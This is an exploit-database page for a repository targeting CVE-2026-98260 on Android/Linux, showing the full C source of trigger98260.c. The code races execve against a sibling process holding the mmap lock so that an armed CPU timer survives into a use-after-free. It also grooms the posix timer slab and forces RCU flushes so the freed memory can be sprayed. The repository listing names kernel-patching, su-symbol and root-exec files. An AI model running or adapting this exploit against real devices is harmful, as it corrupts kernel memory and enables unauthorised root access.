Exploit databaseDownload repository ZIP
GH-16c947575a17df773e4128fed41d2cf8
chayewuu/xring-cve-2026-98260-os4.0
Sources for CVE-2026-98260
61 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files13
chayewuu/xring-cve-2026-98260-os4.0Revision bcdbef2044a4
- ↑..Parent directory
- tools/
- alias_fix.S
- exploit-98260.c
- kfix.S
- kpatch.S
- ksu_symbols.inc
- ksufd.c
- modbase.c
- modload.c
- race98260.c
- race_98260.inc
- root-exec.sh
- trigger98260.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
native/trigger98260.c
C · 9,738 bytes// trigger98260.c - CVE-2026-98260 触发链验证 v2
//
// 进程 P:
// L leader 主线程,保持存活,由 de_thread 的 zap_other_threads 杀掉
// B 非 leader 线程,持 CLOCK_THREAD_CPUTIME_ID timer,负责 execve
// S clone(CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|SIGCHLD) 兄弟进程,
// 循环 mprotect 大范围持 mmap_lock 写锁
//
// 目标:让 exec_mmap:866 mmap_read_lock_killable(old_mm) 因 S 持写锁而阻塞,
// 此时 SIGKILL pending ⇒ 返回 -EINTR ⇒ begin_new_exec 失败
// ⇒ do_exit → exit_itimers 因 pid_task==NULL 不 disarm
// ⇒ exit_mm 再阻塞 → 变 zombie → 父进程 wait4 → cleanup_timerqueue UAF
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <time.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <pthread.h>
#include <stdatomic.h>
#include <stdint.h>
#define EXEC_MARK "/data/local/tmp/exec_ok"
struct shared {
atomic_int l_tid;
atomic_int b_tid;
atomic_int p_ready;
atomic_int timer_armed;
atomic_int s_go;
atomic_int s_stop;
atomic_int exec_entered;
atomic_llong s_enter_ns;
atomic_int s_round;
atomic_int exec_start_ns_valid;
atomic_llong exec_start_ns;
};
static struct shared *sh;
static int timer_count = 1;
static void *big_area;
static size_t big_size;
static long long now_ns(void)
{
struct timespec ts;
clock_gettime(CLOCK_MONOTONIC, &ts);
return (long long)ts.tv_sec * 1000000000LL + (long long)ts.tv_nsec;
}
static int s_entry(void *arg)
{
(void)arg;
while (!atomic_load_explicit(&sh->s_go, memory_order_acquire))
usleep(20);
while (!atomic_load_explicit(&sh->s_stop, memory_order_acquire)) {
atomic_store(&sh->s_enter_ns, now_ns());
atomic_fetch_add(&sh->s_round, 1);
mprotect(big_area, big_size, PROT_READ);
mprotect(big_area, big_size, PROT_READ | PROT_WRITE);
}
return 0;
}
static void *b_entry(void *arg)
{
(void)arg;
atomic_store(&sh->b_tid, (int)syscall(SYS_gettid));
/* SIGEV_NONE 的 CPU timer 永不 arm,节点不会入树;必须用 SIGEV_SIGNAL,
* 信号取已被 block 的实时信号,3600s 内不会真的到期投递。 */
sigset_t block;
sigemptyset(&block);
sigaddset(&block, SIGRTMIN + 3);
pthread_sigmask(SIG_BLOCK, &block, NULL);
struct sigevent sev;
memset(&sev, 0, sizeof(sev));
sev.sigev_notify = SIGEV_SIGNAL;
sev.sigev_signo = SIGRTMIN + 3;
struct itimerspec its;
memset(&its, 0, sizeof(its));
its.it_value.tv_sec = 3600;
int made = 0;
for (int k = 0; k < timer_count; k++) {
timer_t t;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t) != 0) {
printf("TIMER_CREATE_FAIL k=%d errno=%d\n", k, errno);
fflush(stdout);
break;
}
if (timer_settime(t, 0, &its, NULL) != 0) {
printf("TIMER_SETTIME_FAIL k=%d errno=%d\n", k, errno);
fflush(stdout);
break;
}
made++;
}
printf("TIMERS_MADE %d/%d\n", made, timer_count);
fflush(stdout);
atomic_store(&sh->timer_armed, 1);
while (!atomic_load(&sh->s_go))
usleep(20);
/* 等 S 刚进入一次 mprotect,再 execve,尽量让 exec_mmap 撞上写锁 */
int r0 = atomic_load(&sh->s_round);
long long deadline = now_ns() + 200000000LL;
while (atomic_load(&sh->s_round) == r0 && now_ns() < deadline)
;
long long t_start = now_ns();
atomic_store(&sh->exec_start_ns, t_start);
atomic_store(&sh->exec_start_ns_valid, 1);
atomic_store(&sh->exec_entered, 1);
char *const av[] = { "/proc/self/exe", "--exec-child", NULL };
execv(av[0], av);
return NULL;
}
static void run_p(void)
{
big_area = mmap(NULL, big_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0);
if (big_area == MAP_FAILED)
_exit(2);
/* 逐页触碰建立 PTE,否则 mprotect 遍历会很快 */
for (size_t off = 0; off < big_size; off += 4096)
((volatile char *)big_area)[off] = 1;
void *sstack = mmap(NULL, 1 << 20, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (sstack == MAP_FAILED)
_exit(3);
int flags = CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | SIGCHLD;
if (clone(s_entry, (char *)sstack + (1 << 20), flags, NULL) < 0)
_exit(4);
atomic_store(&sh->l_tid, (int)syscall(SYS_gettid));
pthread_t bth;
if (pthread_create(&bth, NULL, b_entry, NULL) != 0)
_exit(5);
while (!atomic_load(&sh->timer_armed))
usleep(100);
atomic_store(&sh->p_ready, 1);
/* leader 存活,等 de_thread 的 zap_other_threads 杀掉本线程 */
for (;;)
pause();
}
static int proc_state(int pid)
{
char path[64], buf[512];
snprintf(path, sizeof(path), "/proc/%d/stat", pid);
int fd = open(path, O_RDONLY);
if (fd < 0)
return 0;
ssize_t n = read(fd, buf, sizeof(buf) - 1);
close(fd);
if (n <= 0)
return 0;
buf[n] = 0;
char *p = strrchr(buf, ')');
if (!p || p[1] != ' ')
return 0;
return p[2];
}
int main(int argc, char **argv)
{
if (argc > 1 && strcmp(argv[1], "--exec-child") == 0) {
int fd = open(EXEC_MARK, O_CREAT | O_WRONLY | O_TRUNC, 0644);
if (fd >= 0) {
write(fd, "1", 1);
close(fd);
}
_exit(0);
}
int big_mb = argc > 1 ? atoi(argv[1]) : 2048;
int kill1_us = argc > 2 ? atoi(argv[2]) : 200;
int kill2_us = argc > 3 ? atoi(argv[3]) : 1500;
int rounds = argc > 4 ? atoi(argv[4]) : 3;
int hold_ms = argc > 5 ? atoi(argv[5]) : 0;
timer_count = argc > 6 ? atoi(argv[6]) : 1;
big_size = (size_t)big_mb << 20;
struct shared *shm = mmap(NULL, sizeof(*shm), PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (shm == MAP_FAILED) {
perror("mmap shm");
return 1;
}
sh = shm;
printf("CONFIG big_mb=%d kill1_us=%d kill2_us=%d rounds=%d hold_ms=%d timers=%d\n", big_mb, kill1_us, kill2_us, rounds, hold_ms, timer_count);
fflush(stdout);
/* 把 posix_timers_cache 的 node partial 列表填到 min_partial(5) 以上。
* 空 slab 只有在 partial 列表够长时才会 discard_slab 回 buddy,否则
* 释放后只是挂进 partial 列表,spray 永远抢不到。 */
for (int round = 0; round < 3; round++) {
enum { CHURN = 1200 };
static timer_t churn_t[CHURN];
int made = 0;
for (int i = 0; i < CHURN; i++) {
struct sigevent sev;
struct itimerspec its;
memset(&sev, 0, sizeof(sev));
sev.sigev_notify = SIGEV_SIGNAL;
sev.sigev_signo = SIGRTMIN + 3;
memset(&its, 0, sizeof(its));
its.it_value.tv_sec = 3600;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &churn_t[made]) != 0)
break;
if (timer_settime(churn_t[made], 0, &its, NULL) != 0) {
timer_delete(churn_t[made]);
break;
}
made++;
}
for (int i = 0; i < made; i++)
timer_delete(churn_t[i]);
/* k_itimer 走 kfree_rcu,不冲刷的话对象一直挂在批处理队列里,
* slab 永远不会变空。用 timerfd 的 close 顶高本 CPU 的
* nocb_bypass.ncbs,逼 RCU 立刻冲刷。 */
for (int i = 0; i < 40000; i++) {
int fd = syscall(SYS_timerfd_create, CLOCK_MONOTONIC, 0);
if (fd < 0)
break;
close(fd);
}
printf("CHURN %d made=%d\n", round, made);
fflush(stdout);
usleep(200000);
}
for (int r = 0; r < rounds; r++) {
unlink(EXEC_MARK);
memset(shm, 0, sizeof(*shm));
pid_t p = fork();
if (p == 0) {
run_p();
_exit(0);
}
if (p < 0) {
perror("fork");
return 1;
}
for (int i = 0; i < 60000 && !atomic_load(&shm->p_ready); i++)
usleep(1000);
if (!atomic_load(&shm->p_ready)) {
printf("ROUND %d P_NOT_READY\n", r);
fflush(stdout);
kill(p, SIGKILL);
waitpid(p, NULL, 0);
continue;
}
atomic_store(&shm->s_go, 1);
/* 等 B 自己上报「已进入 execve」 */
for (int i = 0; i < 50000 && !atomic_load(&shm->exec_entered); i++)
usleep(100);
/* 关键:等 exchange_tids 完成。判据 = B 原来的 tid 从 /proc/<p>/task 下消失
* (exchange_tids 把 B 的 thread_pid 换成 leader 的,leader 随后被 release_task 摘除)。 */
int b_tid = atomic_load(&shm->b_tid);
int swapped = 0;
long long t_swap_deadline = now_ns() + 300000000LL;
while (now_ns() < t_swap_deadline) {
char path[64];
snprintf(path, sizeof(path), "/proc/%d/task/%d", p, b_tid);
if (access(path, F_OK) != 0) {
swapped = 1;
break;
}
usleep(20);
}
long long t_exec = atomic_load(&shm->exec_start_ns);
/* kill2:B 已过 de_thread,此时杀才落在 exec_mmap */
if (kill2_us >= 0) {
while (now_ns() - t_exec < (long long)kill2_us * 1000LL)
;
kill(p, SIGKILL);
}
char trace[256];
int tl = 0;
int seen_z = 0;
long long t_start = now_ns();
while (now_ns() - t_start < 2000000000LL) {
int st = proc_state(p);
if (st == 0)
break;
if (tl < (int)sizeof(trace) - 2)
trace[tl++] = (char)st;
if (st == 'Z') {
seen_z = 1;
break;
}
usleep(200);
}
trace[tl] = 0;
long long t_z = now_ns();
atomic_store(&shm->s_stop, 1);
/* hold_ms:B 已变 zombie 但先不 wait4,验证节点仍留在树里 */
if (hold_ms > 0) {
printf("HOLD_BEGIN round=%d at_ms=%lld\n", r, (t_z - t_exec) / 1000000);
fflush(stdout);
usleep((useconds_t)hold_ms * 1000);
printf("HOLD_END round=%d\n", r);
fflush(stdout);
}
int status = 0;
int got = 0;
for (int i = 0; i < 3000; i++) {
if (waitpid(p, &status, WNOHANG) == p) {
got = 1;
break;
}
usleep(1000);
}
if (!got) {
kill(p, SIGKILL);
waitpid(p, &status, 0);
got = 2;
}
usleep(30000);
int exec_ok = (access(EXEC_MARK, F_OK) == 0);
printf("ROUND %d seen_z=%d wait=%d status=0x%x exec_ok=%d s_rounds=%d z_ms=%lld states=%s\n",
r, seen_z, got, status, exec_ok, atomic_load(&shm->s_round),
(t_z - t_exec) / 1000000, tl > 0 ? trace : "-"); fflush(stdout);
}
return 0;
}